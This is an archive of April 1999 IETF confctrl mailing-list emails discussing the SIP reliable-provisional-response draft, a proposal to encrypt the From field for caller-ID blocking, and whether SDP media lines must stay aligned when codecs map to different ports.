Date: Thu, 22 Apr 1999 01:34:18 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: John Hearty <John.H.Hearty@wcom.com>
CC: confctrl@ISI.EDU
Subject: Re: Comments on draft-ietf-mmusic-sip-100rel-00
References: <19990421182943.OXPD20027@localHost>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

John Hearty wrote:
> 
>  I didn't know this one was already published.  It seems to do the
> job nicely.  The only issue I saw was in the introduction where a 181
> is referred to as a queing response.  I believe that changed to 182
> in the RFC since this draft was written.

Thanks for pointing this out.

 On the open issues, I feel
> we should follow the KISS philosophy and answer no to each issue.
> More specifically on issue 3, I am hopeful implementors will be aware
> of this I-D and avoid discarding requests with the RAck header.

Since presenting it, I have discovered some additional issues, mostly
related to congestion control. We'll try to have a revised version in
before next meeting.

> 
>  Not that I want anything changed regarding the approach used in this
> I-D, but I am curious why you did not do something like the ACK request
> that makes non-1xx responses to Invites reliable.  That said, I'd like
> to see if we can revive any comments on this draft and move it along
> to RFC status as quickly as possible.

The reason we chose not to use ACK was to maximize compatibility. In
baseline SIP, a server already must support receiving multiple
retransmissions of the same request, and retransmitting the response
when it receives each. So, adding a few sequence numbers gave us
reliability without breaking the basic model. If we used ACK to
acknowledge each provisional, and then the final, this would be a much
more major change.

> 
>  Nice work (as usual).

Thanks!

-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Wed Apr 21 23:28:04 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id XAA04547
	for confctrl-outgoing; Wed, 21 Apr 1999 23:28:04 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id XAA04542
	for <confctrl@zephyr.isi.edu>; Wed, 21 Apr 1999 23:28:03 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id XAA15149
	for <confctrl@isi.edu>; Wed, 21 Apr 1999 23:28:02 -0700 (PDT)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Thu Apr 22 02:26:21 EDT 1999
Received: from dnrc.bell-labs.com (jdrosen.lra.lucent.com [135.17.250.122])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id CAA02188
	for <confctrl@isi.edu>; Thu, 22 Apr 1999 02:26:19 -0400 (EDT)
Message-ID: <371EC10F.78C1E01C@dnrc.bell-labs.com>
Date: Thu, 22 Apr 1999 02:26:23 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: more sip phone feature emulations...
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This time, its caller-ID.

SIP easily does caller ID. In fact, since requests can be signed by the
caller or third parties, it can provide cryptographically strong caller
ID. Anonymous calling is also easily done.

Whats harder is when you're doing POTS to POTS, with SIP in the middle.
Caller ID blocking in the phone network actually has the caller's name
carried in the ISUP all the way, but just not presented to the called
party. When using SIP in the middle, the calling name and number would
need to be carried in SIP in the From field, but an indication that it
shouldn't be presented would also need to be there. Currently, there is
no such indication; I would argue it doesn't make much sense for IP to
IP.

The question is: how to do it in SIP? There are several ways:

1. treat it as yet-another-ISUP-parameter which is only used for phone
to phone, and handle it with the rest of them.

2. add a parameter to the From field which says, "don't present".

(2) is easy and general, but security wise is bad. Nothing stops a UAS
(gateway or PC) from presenting the name anyway, and nothing prevents
people from reading the field on the wire. So, how to add strong crypto
support here to make this service *better* than on the PSTN? One could
just encrypt SIP using the PGP mechanisms. But, the From field needs to
be in the clear. You could do ipsec or ssl, but this is just from proxy
to proxy and doesn't buy you good security between gateways.

So, Henning and I discussed and came up with an interesting possibility.
We allow the From URI and display name to be encrypted, but still follow
the BNF defined in RFC2543. We also add a few parameters to indicate its
encrypted. So:

From: "asd098yasdnasbyuy8" <sip:ojasd08yasdb>;enc=pgp;present=no

would be an encrypted version of the From field. Since its still a
completely valid From field, intermediate proxies don't know the better
even if they don't understand this encryption tag. Only the terminating
gateway would be able to decode it, and then it would also know not to
present it based on the tag. This would also work for calls to IP
endpoints. An endpoint receiving this, but not knowing about this
extension (and if there is no Require header), would still do an OK
thing, which is to present a name which makes no sense (i.e., looks like
anonymous anyway). This is reasonable behavior.

Thoughts on this? Does this fall into the "only useful for PSTN
interworking, so do it with the rest of the ISUP parameters" model?

Thanks,
Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Wed Apr 21 23:59:27 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id XAA05613
	for confctrl-outgoing; Wed, 21 Apr 1999 23:59:27 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id XAA05607
	for <confctrl@zephyr.isi.edu>; Wed, 21 Apr 1999 23:59:26 -0700 (PDT)
Received: from orange.pcs.ellemtel.net (orange.pcs.ellemtel.net [194.237.226.84] (may be forged))
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id XAA16264
	for <confctrl@ISI.EDU>; Wed, 21 Apr 1999 23:59:25 -0700 (PDT)
Received: from ellemtel.se (danelectro.pcs.ellemtel.net [194.237.226.77]) by orange.pcs.ellemtel.net with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0)
	id JMF0T05W; Thu, 22 Apr 1999 08:59:27 +0200
Message-ID: <371EC8D2.C04BF6C7@ellemtel.se>
Date: Thu, 22 Apr 1999 08:59:30 +0200
From: Peter =?iso-8859-1?Q?Peld=E1n?= <Peter.Peldan@ellemtel.se>
X-Mailer: Mozilla 4.5 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Stephen Sprunk <ssprunk@cisco.com>, confctrl <confctrl@ISI.EDU>
Subject: Re: SDP media alignment in SIP
References: <00d801be8c14$958357c0$7d2544ab@glock.cisco.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Stephen Sprunk wrote:
> 
> >Why do we need to use the same sequence number space? If the new
> >codec-stream is to related to new sets of ports isn't it more natural to
> >start a new RTP/RTCP session with new sequencenumbers?
> 
> It's the same RTP stream on the same ports, just with a different codec
> suddenly.

Well the point here was exactly that we could allow different ports for
different codecs? (Let me first of all point out that I am NOT
recommending this as the default way of doing thing. I just say that
this may happen when a SIP-UA uses two different audio-modules in the
same session.) In the standard case where we have all codecs listed on
the same port, I agree that it is the same ports, it is the same stream
and the sequence number space is the same. 
However, if we allow different codecs to be mapped to different ports, I
do not see why we absolutely have to use the same sequence number space.
(Besides the reason coming from synchronization problems but that is
perhaps something the user using such a setup have to live with?)

> 
> >With a permanent switch to the new codec, the old RTP-listener would
> >simply notice that packets stop coming, and for temporary switches like
> >DTMF there would be a period of silence in the old stream much like when
> >silence detection/voice activation is used.
> 
> Because the change wouldn't necessarily be permanent.  To avoid tandem
> codings, a voicemail system would want to store the media sent to it in the
> original codec on the chance that the listener could  understand that codec;
> if not, it could transcode.  In that case, the prompts could be in G.711,
> and the messages a mix of G.729, G.723, and others; in an average session,
> you could have dozens of codec changes.

Again, this may cause some strange overlap effects. But that is really
up to the user using such a construction to accept or not. If he cannot
live with it, he'd better use one multimedia module mapping all codecs
to the same port.

> 
> In that case, the media for codec 2 may show up before the media for codec 1
> has finished playing, etc.  Synchronization is the receiver's job, and
> without a consistent sequence number, it's impossible. 
> 
> And let's not forget applications like RAT which already send RTP streams
> with multiple payload types (of the same sample) in each packet.  That is
> accepted behavior which RTP receivers are expected to handle.

That's fine as long as all those codecs are mapped to the same port. If
the receiver did map some of the codecs to port A and some of the codecs
to port B, the RAT application just had to settle with using the
A-codecs or the B-codecs. 

> 
> >> So, it seems the best way to handle this is to have a single entity
> >> listening on the port for RTP, and then invoking libraries or other apps
> >> from there to handle specific codecs.
> >
> >That may be the case, but such a requirement will severely restrict the
> >possibility of using a plug-in architecture in the UA. One would have to
> >specify an API between the RTP-module and the multimedia modules. And if
> >that API should allow true dynamical linking one would probably have to
> >use COM or Java to implement the RTP-part.
> 
> Windows already has such an API for codecs already; it seems to work
> extremely well.  Defining a Java interface for RTP playback seems to be a
> very simple operation to me; since my Java experience is limited, maybe I'm
> missing something.  A UNIX dll interface should be just as simple; Perl is
> an excellent example of how easy it is for people to plug-in third-part dlls
> to a program.
> 
> > (If using a dll -- or other
> >shared library -- for the RTP-module all multimedia modules using this
> >method would have to have access to exact the same RTP-dll at build
> >time, which again would severely restrict the possibility of using a
> >plug-in architecture)
> 
> I'd write it so that there was one RTP library which probably only had G.711
> in it, and any other codec needed (as determined by incoming media) would be
> loaded on the fly by that library, with the calling application knowing no
> difference.  I don't want to debate application architecture this deeply,
> but it doesn't seem like that big of a deal to implement.

I believe this is the place where we do not understand each other: I do
not simply talk of writing my own audio-module handling all codecs
supported by the windows ACM (Audio Codec Manager). We have done that,
it works fine and I completely agree on everything you are saying. May
point is the following: Say that I do write my own audio module handling
all ACM-codecs, and then e.g Voxware has produced another audio-module
supporting their own super-duper non-ACM codec with superior packet-loss
handling and lots of other features. The user of the SIP-UA with the
multimedia plug-in architecture now wants to use both the standard
audio-module supporting all ACM-codecs as well as the Voxware
audio-module. In this case mapping all the standard ACM-codecs to one
port and the Voxware codecs to another port would be a feasible
solution. 

This issue is not about writing your own audio-modules, it is about
allowing third party vendors to write multimedia session plug-ins that
plug into your SIP-UA. 
> 
> Stephen
> 
>      |          |         Stephen Sprunk, K5SSS, CCIE #3723
>     :|:        :|:        NSA, Network Consulting Engineer
>    :|||:      :|||:       14875 Landmark Blvd #400; Dallas, TX
> .:|||||||:..:|||||||:.    Pager: 800-365-4578 / 800-901-6078
> C I S C O S Y S T E M S   Email: ssprunk@cisco.com

I agree that we probably shouldn't discuss application architecture
here, but since disallowing mapping different codecs to different ports
would restrict the flexibility for a SIP-UA by only allowing one module
for each session type, I believe the question is relevant.

Peter Peldan, PhD
Ellemtel Utvecklings AB
Peter.Peldan@ellemtel.se

From confctrl-owner  Thu Apr 22 00:28:29 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id AAA06732
	for confctrl-outgoing; Thu, 22 Apr 1999 00:28:29 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id AAA06727
	for <confctrl@zephyr.isi.edu>; Thu, 22 Apr 1999 00:28:28 -0700 (PDT)
Received: from orange.pcs.ellemtel.net (orange.pcs.ellemtel.net [194.237.226.84] (may be forged))
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id AAA17395
	for <confctrl@ISI.EDU>; Thu, 22 Apr 1999 00:28:26 -0700 (PDT)
Received: from ellemtel.se (danelectro.pcs.ellemtel.net [194.237.226.77]) by orange.pcs.ellemtel.net with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0)
	id JMF0T059; Thu, 22 Apr 1999 09:28:28 +0200
Message-ID: <371ECF9E.AAC46CE2@ellemtel.se>
Date: Thu, 22 Apr 1999 09:28:30 +0200
From: Peter =?iso-8859-1?Q?Peld=E1n?= <Peter.Peldan@ellemtel.se>
X-Mailer: Mozilla 4.5 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>,
        confctrl <confctrl@ISI.EDU>
Subject: Re: SDP media alignment in SIP
References: <371B418C.4BC100B2@hplb.hpl.hp.com> <371BF781.EA679634@dnrc.bell-labs.com> <371C4A35.9F238F9E@hplb.hpl.hp.com> <371C858E.5AD7DCA2@dnrc.bell-labs.com> <371CAC62.8FC14118@ellemtel.se> <371CC772.1A99274B@dnrc.bell-labs.com> <371D7673.174A8681@ellemtel.se> <371EAB5C.C33912A1@dnrc.bell-labs.com>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Jonathan Rosenberg wrote:
> 
> Peter Peldán wrote:
> >
> > Why do we need to use the same sequence number space? If the new
> > codec-stream is to related to new sets of ports isn't it more natural to
> > start a new RTP/RTCP session with new sequencenumbers?
> >
> > With a permanent switch to the new codec, the old RTP-listener would
> > simply notice that packets stop coming, and for temporary switches like
> > DTMF there would be a period of silence in the old stream much like when
> > silence detection/voice activation is used.
> 
> The problem is this; when a normal receiver runs out of packets, this
> can be either due to loss (in which case it might like to recover), or
> due to silence. Now, there is a third case, which is codec change. The
> right behavior in all three cases is different.  Should the receiver
> initially decide its due to loss, it will try some kind of interoplation
> or local repair to fill in the voice. If the lack of packets was due to
> codec/port change, this will be mixed with the codec that just arrived
> on the other port to the other application, causing strange results. In
> the other case, of silence, many systems don't just stop sending audio
> to the speaker. They will sometimes generate background noise, since
> dead silence is disturbing to users. Again, if the app was wrong, and it
> was due to a codec change, this background noise will also be mixed with
> the new codec, making for a bizarre effect. The problem is worse here
> since its very hard to tell the difference between silence and long-term
> codec change.
> 
> The basic problem is that SN is used for loss detection, and now the old
> codec won't know how whether there is loss, or codec change.

Ok in that case I see two solutions:
1. Just let it be and let the user live with these effects if he wants
to use two different audio-modules for handling audio sessions. The
effects would probably not be that big. If the first stream-handler
notices that no packets have arrived during the last 10 seconds it can't
interpolate and fill in, and if it adds background noice the level is
probably so low that it won't disturb the new stream containing audio. 
2. Define a new flag in the RTP-header for telling the receiver there
will be no more packets for a while but do not add background noice.
There is already a flag defined for Voice Activation/silence detection
and this flag would be similar.

> 
> > That may be the case, but such a requirement will severely restrict the
> > possibility of using a plug-in architecture in the UA. One would have to
> > specify an API between the RTP-module and the multimedia modules. And if
> > that API should allow true dynamical linking one would probably have to
> > use COM or Java to implement the RTP-part. (If using a dll -- or other
> > shared library -- for the RTP-module all multimedia modules using this
> > method would have to have access to exact the same RTP-dll at build
> > time, which again would severely restrict the possibility of using a
> > plug-in architecture)
> 
> As has been pointed out, the interfaces for accessing codecs I have seen
> are not of the separate application per codec model, but through
> libraries and API's, which is just fine.
> 
> >
> > Why is it so important to line up all media descriptors? Wouldn't it
> > simply be best to drop that requirement?
> 
> Its best illustrated by an example. Consider a session which is a
> classroom session between a student and a teacher. There are three
> streams in the session - audio (the professor talking), a video of the
> professor's face, and a video of the blackboard. When the professor
> calls the student, the SDP contains three m lines, each listing two
> codecs:
> 
> m=video 1 RTP/AVP 10 11   (camera)
> m=video 2 RTP/AVP 10 11   (face)
> m=audio 3 RTP/AVP 0 1
> 
>  Now, when the response comes, lets say the student wants to receive the
> blackboard video on different ports, depending on the codec, as you
> suggest, and the so it has two separate m lines. When this SDP is
> returned to the professor:
> 
> m=video 5 RTP/AVP 10
> m=video 6 RTP/AVP 11
> m=video 7 RTP/AVP 10
> m=audio 8 RTP/AVP 0 1
> 
> The professor has a dilemma. He has two video streams, but now three
> places to send them. When the student "split" one of the m lines, which
> one was it that was split? Are the first two lines the camera, and the
> second the face, or the first one the face, and the second two, the
> camera?

Does it matter? The professors' application could simply pick one of the
ports for the face and one of the ports for the camera. If the student
gets problems with synchronization etc it is really his problem. Either
he stops using two video-modules or he has to live with non-synchronized
streams.


> 
> Basically, alignment of streams is needed since that is the only way to
> associate streams in the request with streams in the response.
> 
> -Jonathan R.
> --
> Jonathan D. Rosenberg                       Lucent Technologies
> Member of Technical Staff                   101 Crawfords Corner Rd.
> High Speed Networks Research                Holmdel, NJ 07733
> FAX: (732) 834-5379                         Rm. 4C-526
> EMAIL: jdrosen@bell-labs.com
> URL: http://www.cs.columbia.edu/~jdrosen

It seems like all the arguments for disallowing mapping different codecs
to different ports is that the receiver might experience strange
synchroniczation effects. But isn't that up to the user using such a
setup to decide? Why should the protocol spec be restricting this
possibility? The recommended usage should still be to map all codecs to
the same port. In 99% of the audio-sessions only one audio-module would
probably be used and everything would work smoothly.

SUGGESTION: Instead of lining up the session descriptions one could
perhaps require the i=(media title) to be mandatory. If so, one could
easily relate session descriptors to each other by matching the i-field? 
>From the SDP-draft:

A single "i=" field can also be used for each media definition. In media
definitions, "i=" fields are primarily intended for labeling media
streams. As such, they are most likely to be useful when a single
session has more than one distinct media stream of the same media type.

It seems to be a good suggestion to require the i= field in the media
descriptor whenever there are more than one media descriptor of the same
media type, and alignment won't be needed?

Peter Peldan, PhD
Ellemtel Utvecklings AB
Peter.Peldan@ellemtel.se

From confctrl-owner  Thu Apr 22 03:11:35 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id DAA11884
	for confctrl-outgoing; Thu, 22 Apr 1999 03:11:35 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id DAA11878
	for <confctrl@zephyr.isi.edu>; Thu, 22 Apr 1999 03:11:34 -0700 (PDT)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id DAA22731
	for <confctrl@ISI.EDU>; Thu, 22 Apr 1999 03:11:32 -0700 (PDT)
Received: from eucharisto.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.12845-0@bells.cs.ucl.ac.uk>; Thu, 22 Apr 1999 11:11:11 +0100
To: Peter =?iso-8859-1?Q?Peld=E1n?= <Peter.Peldan@ellemtel.se>
cc: Stephen Sprunk <ssprunk@cisco.com>, confctrl <confctrl@ISI.EDU>
Subject: Re: SDP media alignment in SIP
In-reply-to: Your message of "Thu, 22 Apr 1999 08:59:30 +0200." <371EC8D2.C04BF6C7@ellemtel.se>
Date: Thu, 22 Apr 1999 11:11:08 +0100
Message-ID: <1239.924775868@cs.ucl.ac.uk>
From: Colin Perkins <C.Perkins@cs.ucl.ac.uk>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--> Peter =?iso-8859-1?Q?Peld=E1n?= writes:
>> I'd write it so that there was one RTP library which probably only had G.711
>> in it, and any other codec needed (as determined by incoming media) would be
>> loaded on the fly by that library, with the calling application knowing no
>> difference.  I don't want to debate application architecture this deeply,
>> but it doesn't seem like that big of a deal to implement.
>
>I believe this is the place where we do not understand each other: I do
>not simply talk of writing my own audio-module handling all codecs
>supported by the windows ACM (Audio Codec Manager). We have done that,
>it works fine and I completely agree on everything you are saying. May
>point is the following: Say that I do write my own audio module handling
>all ACM-codecs, and then e.g Voxware has produced another audio-module
>supporting their own super-duper non-ACM codec with superior packet-loss
>handling and lots of other features. The user of the SIP-UA with the
>multimedia plug-in architecture now wants to use both the standard
>audio-module supporting all ACM-codecs as well as the Voxware
>audio-module. In this case mapping all the standard ACM-codecs to one
>port and the Voxware codecs to another port would be a feasible
>solution. 
>
>This issue is not about writing your own audio-modules, it is about
>allowing third party vendors to write multimedia session plug-ins that
>plug into your SIP-UA. 

Well, the way we do it in RAT is to have our own codec plugin scheme, which
can then call our own inbuilt codecs, ACM codecs and any other codec scheme
you feel like. I don't see a need to send the codecs on different ports to
be able to dispatch packets with a particular PT to a particular decoder
library.

This seems to be a software engineering problem, not a protocol issue...

-- 
Colin Perkins                   Email: c.perkins@cs.ucl.ac.uk
Department of Computer Science  Phone: +44 171 419 3666
University College London       WWW  : http://www.cs.ucl.ac.uk/staff/c.perkins/

From confctrl-owner  Thu Apr 22 04:10:09 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id EAA14008
	for confctrl-outgoing; Thu, 22 Apr 1999 04:10:09 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id EAA13992
	for <confctrl@zephyr.isi.edu>; Thu, 22 Apr 1999 04:10:05 -0700 (PDT)
Received: from orange.pcs.ellemtel.net (orange.pcs.ellemtel.net [194.237.226.84] (may be forged))
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id EAA24609
	for <confctrl@ISI.EDU>; Thu, 22 Apr 1999 04:10:04 -0700 (PDT)
Received: from ellemtel.se (danelectro.pcs.ellemtel.net [194.237.226.77]) by orange.pcs.ellemtel.net with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0)
	id JMF0T07W; Thu, 22 Apr 1999 13:10:07 +0200
Message-ID: <371F0392.EBC17959@ellemtel.se>
Date: Thu, 22 Apr 1999 13:10:10 +0200
From: Peter =?iso-8859-1?Q?Peld=E1n?= <Peter.Peldan@ellemtel.se>
X-Mailer: Mozilla 4.5 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Colin Perkins <C.Perkins@cs.ucl.ac.uk>, confctrl <confctrl@ISI.EDU>
Subject: Re: SDP media alignment in SIP
References: <1239.924775868@cs.ucl.ac.uk>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Colin Perkins wrote:
> 
> --> Peter =?iso-8859-1?Q?Peld=E1n?= writes:
> >> I'd write it so that there was one RTP library which probably only had G.711
> >> in it, and any other codec needed (as determined by incoming media) would be
> >> loaded on the fly by that library, with the calling application knowing no
> >> difference.  I don't want to debate application architecture this deeply,
> >> but it doesn't seem like that big of a deal to implement.
> >
> >I believe this is the place where we do not understand each other: I do
> >not simply talk of writing my own audio-module handling all codecs
> >supported by the windows ACM (Audio Codec Manager). We have done that,
> >it works fine and I completely agree on everything you are saying. May
> >point is the following: Say that I do write my own audio module handling
> >all ACM-codecs, and then e.g Voxware has produced another audio-module
> >supporting their own super-duper non-ACM codec with superior packet-loss
> >handling and lots of other features. The user of the SIP-UA with the
> >multimedia plug-in architecture now wants to use both the standard
> >audio-module supporting all ACM-codecs as well as the Voxware
> >audio-module. In this case mapping all the standard ACM-codecs to one
> >port and the Voxware codecs to another port would be a feasible
> >solution.
> >
> >This issue is not about writing your own audio-modules, it is about
> >allowing third party vendors to write multimedia session plug-ins that
> >plug into your SIP-UA.
> 
> Well, the way we do it in RAT is to have our own codec plugin scheme, which
> can then call our own inbuilt codecs, ACM codecs and any other codec scheme
> you feel like. I don't see a need to send the codecs on different ports to
> be able to dispatch packets with a particular PT to a particular decoder
> library.

Well, my point is that this isn't simply a codec-issue. One multimedia
module vendor might have superior jitter-buffer handling etc. I DO NOT
simply want to allow different codecs, I want to allow entire multimedia
modules. That is the difference.

As an example: say that I have two audio-modules. One handles G.711,
GSM, G.723.1 but handles delayed/lost packets and jitter-buffers lousy.
I have another audio-module only handling the codec DX6000 but with
excellent handling of delayed/dropped packets etc. With your suggestion,
I would have to choose between using the standard codecs and lousy
quality otherwise, and the nonstandard codec DX6000 and excellent sound
quality. With my suggestion I may have both options in the same session
even. And, it doesn't cause much problems?
> 
> This seems to be a software engineering problem, not a protocol issue...

Well it is a protocol issue if the protocol spec without good enough
reasons disallows this usage.
> 
> --
> Colin Perkins                   Email: c.perkins@cs.ucl.ac.uk
> Department of Computer Science  Phone: +44 171 419 3666
> University College London       WWW  : http://www.cs.ucl.ac.uk/staff/c.perkins/

Peter Peldan, PhD
Ellemtel Utvecklings AB
Peter.Peldan@ellemtel.se

From confctrl-owner  Thu Apr 22 05:19:20 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id FAA16192
	for confctrl-outgoing; Thu, 22 Apr 1999 05:19:20 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id FAA16187
	for <confctrl@zephyr.isi.edu>; Thu, 22 Apr 1999 05:19:18 -0700 (PDT)
Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id FAA26542
	for <confctrl@ISI.EDU>; Thu, 22 Apr 1999 05:19:17 -0700 (PDT)
Received: from otter.hpl.hp.com (otter.hpl.hp.com [15.144.59.2])
	by atlrel2.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id IAA28345;
	Thu, 22 Apr 1999 08:18:52 -0400 (EDT)
Received: from hplb.hpl.hp.com (kristensen-a-4.hpl.hp.com [15.144.26.238])
	by otter.hpl.hp.com (8.9.3/HP-Labs Bristol Internal Mail Hub) with ESMTP id NAA03843;
	Thu, 22 Apr 1999 13:19:11 +0100 (BST)
Message-ID: <371F13BF.E4A93F76@hplb.hpl.hp.com>
Date: Thu, 22 Apr 1999 13:19:11 +0100
From: Anders Kristensen <ak@hplb.hpl.hp.com>
Organization: HP Labs
X-Mailer: Mozilla 4.5 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Colin Perkins <C.Perkins@cs.ucl.ac.uk>
CC: Peter =?iso-8859-1?Q?Peld=E1n?= <Peter.Peldan@ellemtel.se>,
        Stephen 
	Sprunk <ssprunk@cisco.com>,
        Jonathan Rosenberg <jdrosen@bell-labs.com>,
        confctrl <confctrl@ISI.EDU>
Subject: Re: SDP media alignment in SIP
References: <1239.924775868@cs.ucl.ac.uk>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Colin Perkins wrote:
> 
> --> Peter =?iso-8859-1?Q?Peld=E1n?= writes:
> >> I'd write it so that there was one RTP library which probably only had G.711
> >> in it, and any other codec needed (as determined by incoming media) would be
> >> loaded on the fly by that library, with the calling application knowing no
> >> difference.  I don't want to debate application architecture this deeply,
> >> but it doesn't seem like that big of a deal to implement.
> >
> >I believe this is the place where we do not understand each other: I do
> >not simply talk of writing my own audio-module handling all codecs
> >supported by the windows ACM (Audio Codec Manager). We have done that,
> >it works fine and I completely agree on everything you are saying. May
> >point is the following: Say that I do write my own audio module handling
> >all ACM-codecs, and then e.g Voxware has produced another audio-module
> >supporting their own super-duper non-ACM codec with superior packet-loss
> >handling and lots of other features. The user of the SIP-UA with the
> >multimedia plug-in architecture now wants to use both the standard
> >audio-module supporting all ACM-codecs as well as the Voxware
> >audio-module. In this case mapping all the standard ACM-codecs to one
> >port and the Voxware codecs to another port would be a feasible
> >solution.
> >
> >This issue is not about writing your own audio-modules, it is about
> >allowing third party vendors to write multimedia session plug-ins that
> >plug into your SIP-UA.
> 
> Well, the way we do it in RAT is to have our own codec plugin scheme, which
> can then call our own inbuilt codecs, ACM codecs and any other codec scheme
> you feel like. I don't see a need to send the codecs on different ports to
> be able to dispatch packets with a particular PT to a particular decoder
> library.
> 
> This seems to be a software engineering problem, not a protocol issue...

It becomes a protocol issue because one size (e.g. RAT) does not fit
all. Our SIP user agent, like Ellemtels, delegates out the
responsibility of handling media to one or more media handling
subsystems, be they applications like RAT or libraries like the JMF. 
For us to use RAT someone has to write a UA module that communicates
with RAT, basically a RAT device driver.

It is perfectly reasonable for a UA to use more than one such device
driver for the same media type and codec at the same time, say, one for
RAT and one for the JMF.  The fact that RAT has its own plugin
architecture helps but it doesn't solve the basic problem that one media
handling subsystem is never going to handle all codecs in the world and
be the best for all of them, and hence it should be possible to several
such media sub-systems together.

-- 
Anders Kristensen <ak@hplb.hpl.hp.com>,
http://www-uk.hpl.hp.com/people/ak/
Hewlett-Packard Labs, Bristol, UK

From confctrl-owner  Thu Apr 22 06:01:57 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA17617
	for confctrl-outgoing; Thu, 22 Apr 1999 06:01:57 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA17612
	for <confctrl@zephyr.isi.edu>; Thu, 22 Apr 1999 06:01:55 -0700 (PDT)
Received: from palrel3.hp.com (palrel3.hp.com [156.153.255.226] (may be forged))
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA27837
	for <confctrl@ISI.EDU>; Thu, 22 Apr 1999 06:01:53 -0700 (PDT)
Received: from otter.hpl.hp.com (otter.hpl.hp.com [15.144.59.2])
	by palrel3.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id GAA23059;
	Thu, 22 Apr 1999 06:01:41 -0700 (PDT)
Received: from hplb.hpl.hp.com (kristensen-a-4.hpl.hp.com [15.144.26.238])
	by otter.hpl.hp.com (8.9.3/HP-Labs Bristol Internal Mail Hub) with ESMTP id OAA06163;
	Thu, 22 Apr 1999 14:01:29 +0100 (BST)
Message-ID: <371F1DA9.E2E5E5BA@hplb.hpl.hp.com>
Date: Thu, 22 Apr 1999 14:01:29 +0100
